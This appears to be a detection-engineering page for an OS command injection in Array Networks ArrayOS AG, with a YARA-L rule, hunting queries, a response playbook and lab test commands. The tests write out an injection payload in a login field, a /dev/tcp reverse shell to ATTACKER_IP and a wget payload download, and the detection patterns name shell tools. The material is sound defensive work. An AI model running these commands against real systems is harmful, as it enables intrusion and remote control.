CVE-2025-66644 Google Chronicle · YARA-L

Detect Array Networks ArrayOS AG OS Command Injection (CVE-2025-66644) in Google Chronicle

Detects exploitation of CVE-2025-66644, an OS command injection vulnerability in Array Networks ArrayOS AG. This vulnerability allows remote attackers to execute arbitrary operating system commands through the Array Networks SSL VPN/ZTNA gateway. The flaw is tracked by CISA as a Known Exploited Vulnerability (KEV), indicating active in-the-wild exploitation. Attackers may leverage this to gain initial access, establish persistence, or pivot laterally within the network.

MITRE ATT&CK

Tactic
Initial Access Execution Lateral Movement

YARA-L Detection Query

Google Chronicle (YARA-L)
yaral 
rule cve_2025_66644_array_networks_cmd_injection {
  meta:
    author = "df00tech Detection Engineering"
    description = "Detects CVE-2025-66644 OS command injection exploitation against Array Networks ArrayOS AG"
    severity = "CRITICAL"
    priority = "HIGH"
    reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-66644"

  events:
    (
      $e.metadata.event_type = "NETWORK_CONNECTION"
      or $e.metadata.event_type = "STATUS_UPDATE"
    )
    and (
      $e.principal.application = "ArrayOS AG"
      or $e.target.application = "ArrayOS AG"
      or re.regex($e.principal.hostname, `(?i)array`)
      or re.regex($e.target.hostname, `(?i)array`)
    )
    and re.regex($e.metadata.description,
      `(?i)(wget|curl|chmod|/bin/bash|/bin/sh|/tmp/|/dev/shm|whoami|base64|python|perl|\bnc\b|ncat|&&|\|\|)`
    )

  condition:
    $e
}
critical severity medium confidence

Chronicle YARA-L rule detecting CVE-2025-66644 exploitation patterns in network events and status updates associated with Array Networks ArrayOS AG devices.

Data Sources

Chronicle SIEMNetwork telemetryUDM events

Required Tables

UDM events (NETWORK_CONNECTION, STATUS_UPDATE)

False Positives & Tuning

  • Legitimate administrative operations on Array Networks appliances that reference shell utilities
  • Automated network monitoring tools generating similar connection patterns
  • Authorized penetration testing activities targeting the VPN gateway
  • Software update pipelines invoking system utilities on the appliance

Other platforms for CVE-2025-66644

Microsoft Sentinel (KQL) Splunk (SPL) Elastic Security (Elastic) IBM QRadar (QRadar) Sumo Logic CSE (Sumo) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Simulate Array Networks OS Command Injection via HTTP Request

    Expected signal: Web access log entry on the target appliance showing POST request to /cgi-bin/login with URL-encoded shell metacharacters (';id;') in the username parameter

  2. Test 2Spawn Reverse Shell from Simulated Compromised Array Gateway Process

    Expected signal: Endpoint process telemetry showing bash process with parent matching gateway daemon, network telemetry showing outbound TCP connection to ATTACKER_IP:4444 from the gateway host

  3. Test 3Download and Execute Payload via Injected wget Command

    Expected signal: Process telemetry showing wget execution with external URL argument spawned from a gateway-related parent process; DNS query for ATTACKER_IP hostname; outbound HTTP connection to ATTACKER_IP:8080

Last updated: 2026-06-19 Research depth: standard
References (4)

Response Playbook

Triage

  1. Identify all Array Networks ArrayOS AG appliances in the environment and cross-reference source IPs in alerts against the known inventory of gateway IPs.
  2. Review web/access logs on the Array Networks appliance (if accessible) for unusual HTTP requests containing shell metacharacters (`;`, `&&`, `||`, backticks, `$()`) in parameters, especially to management or VPN endpoints.
  3. Check for new or unexpected outbound network connections from the Array Networks appliance IP to external hosts, particularly on non-standard ports — this may indicate a reverse shell or C2 beacon established post-exploitation.
  4. Correlate the alert timestamp with any VPN authentication events to determine if a valid user session preceded the injection attempt, or if this was an unauthenticated exploit.

Containment

  1. Immediately isolate the affected Array Networks appliance from the network if active exploitation is confirmed: disable external-facing interfaces or place the device behind an emergency ACL blocking all inbound traffic except from trusted management IPs.
  2. Revoke all active VPN sessions on the appliance and force re-authentication after patching or replacement; rotate any credentials or certificates that may have been accessible to the injected process.

Evidence Collection

  1. Capture a full memory dump and disk image of the Array Networks appliance if forensic investigation is required; preserve /tmp, /dev/shm, crontab entries, and any new files created in world-writable directories.
  2. Export all available appliance logs (syslog, access logs, auth logs, crash logs) before rebooting or restoring — these are critical for determining the exploit payload, attacker dwell time, and any lateral movement that followed.

Escalation Criteria

  • !Escalate immediately if outbound connections from the Array Networks appliance IP are detected to known threat actor infrastructure or newly registered domains, indicating active C2 communication post-exploitation.
  • !Escalate if lateral movement is detected originating from internal hosts that authenticated through the compromised Array Networks gateway within the exploitation window, as credentials or session tokens may have been harvested.

Investigation Guide

Related Techniques

[object Object][object Object][object Object][object Object]

Forensic Artifacts

  • >Web/access logs on the Array Networks appliance showing HTTP requests with shell metacharacters in URL parameters or POST body fields
  • >New files in world-writable directories: /tmp/, /dev/shm/, /var/tmp/ — especially executable binaries, shell scripts, or base64-decoded payloads
  • >Modified crontab entries or new systemd units/init scripts added for persistence by the attacker after gaining command execution
  • >Process tree showing unexpected children of the Array Networks gateway daemon (ag, arrayd, httpd) such as bash, sh, wget, curl, or reverse shell binaries
  • >Outbound network connections from the appliance to external IPs on unusual ports (common reverse shell ports: 4444, 1337, 9001, 8080)

Tuning Guidance

This detection relies on pattern matching for known OS command injection indicators. To reduce false positives: (1) Baseline normal administrative activity on your Array Networks appliances and exclude known management automation source IPs. (2) Implement allowlisting for known-good processes spawned from gateway daemons. (3) If Array Networks appliances emit structured logs to your SIEM, tune the query to use specific field-level matching rather than raw text search to improve precision. (4) Raise the injection_score threshold in the Splunk query if the environment has noisy network logging. To improve coverage: ensure syslog forwarding is configured on all Array Networks ArrayOS AG appliances and that logs include process execution events where available.

Hunting Queries

30-day retroactive hunt across all Array Networks log sources for OS command injection metacharacters and common exploitation utilities, aggregated hourly to identify exploitation campaigns or repeated probing.

Hunting — KQL
kql 
CommonSecurityLog
| where TimeGenerated > ago(30d)
| where DeviceVendor has_any ('Array Networks', 'ArrayNetworks')
| where Message matches regex @'[;`&|]|\$\(|wget|curl|/tmp/|/dev/shm|chmod|base64'
| summarize Count=count(), UniqueSourceIPs=dcount(SourceIP), FirstSeen=min(TimeGenerated), LastSeen=max(TimeGenerated) by DeviceVendor, DeviceProduct, bin(TimeGenerated, 1h)
| order by Count desc
Hunting — SPL
spl 
index=network OR index=firewall earliest=-30d
(vendor="Array Networks" OR product="ArrayOS AG")
| rex field=_raw "(?<injection_pattern>[;&`|]|\$\(|wget|curl|\/tmp\/|\/dev\/shm|chmod|base64)"
| where isnotnull(injection_pattern)
| stats count AS hits, dc(src_ip) AS unique_sources, values(injection_pattern) AS patterns BY host, _time span=1h
| sort -hits

Atomic Red Team Tests

Test 1 Simulate Array Networks OS Command Injection via HTTP Request
linux

Simulates an attacker sending a crafted HTTP request to an Array Networks-like SSL VPN endpoint with OS command injection payload in a query parameter. Lab environment only — target should be a test/honeypot instance.

Command

bash 
curl -k -s -X POST 'https://TARGET_AG_IP/cgi-bin/login' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'username=admin%27%3Bid%3B%27&password=test&group=' \
  -o /tmp/ag_cmd_inject_response.txt 2>&1
cat /tmp/ag_cmd_inject_response.txt

Cleanup

bash 
rm -f /tmp/ag_cmd_inject_response.txt

Expected Telemetry

Web access log entry on the target appliance showing POST request to /cgi-bin/login with URL-encoded shell metacharacters (';id;') in the username parameter

Expected Detection

SIEM alert triggering on CommonSecurityLog or Syslog event from Array Networks device containing 'id;' pattern matching the command injection detection rule

Test 2 Spawn Reverse Shell from Simulated Compromised Array Gateway Process
linux

Simulates post-exploitation behavior where the attacker has achieved command injection and attempts to establish a reverse shell. Run on an isolated lab host mimicking the Array Networks appliance OS.

Command

bash 
# On attacker machine: nc -lvnp 4444
# On victim (lab Array Networks simulation host):
bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' &
sleep 5
kill %1 2>/dev/null

Cleanup

bash 
kill $(lsof -t -i:4444) 2>/dev/null; true

Expected Telemetry

Endpoint process telemetry showing bash process with parent matching gateway daemon, network telemetry showing outbound TCP connection to ATTACKER_IP:4444 from the gateway host

Expected Detection

CrowdStrike or Elastic EQL alert on ProcessRollup2 event where FileName=bash and CommandLine contains /dev/tcp, and correlated NetworkConnectIP4 event to external IP on port 4444

Test 3 Download and Execute Payload via Injected wget Command
linux

Simulates an attacker using the CVE-2025-66644 injection point to download a secondary payload using wget. This tests detection of ingress tool transfer following initial exploitation.

Command

bash 
# Simulates what the injected command would do on a compromised ArrayOS host
mkdir -p /tmp/array_test
wget -q -O /tmp/array_test/payload.sh 'http://ATTACKER_IP:8080/payload.sh' \
  --timeout=10 --tries=1 2>/tmp/array_test/wget.log || echo 'connection failed (expected in lab)'
ls -la /tmp/array_test/
cat /tmp/array_test/wget.log

Cleanup

bash 
rm -rf /tmp/array_test/

Expected Telemetry

Process telemetry showing wget execution with external URL argument spawned from a gateway-related parent process; DNS query for ATTACKER_IP hostname; outbound HTTP connection to ATTACKER_IP:8080

Expected Detection

KQL alert on DeviceNetworkEvents showing InitiatingProcessFileName=wget with InitiatingProcessParentFileName matching known gateway process names; Splunk SPL alert scoring wget usage from Array Networks log source with injection_score >= 3

Related Detections

Tactic Hubs

TA0001Initial AccessTA0002ExecutionTA0008Lateral Movement

Related Techniques

T1190Exploit Public-Facing ApplicationT1059.004Unix ShellT1021Remote ServicesT1105Ingress Tool Transfer

Same Tactic: Initial Access

Popular Detections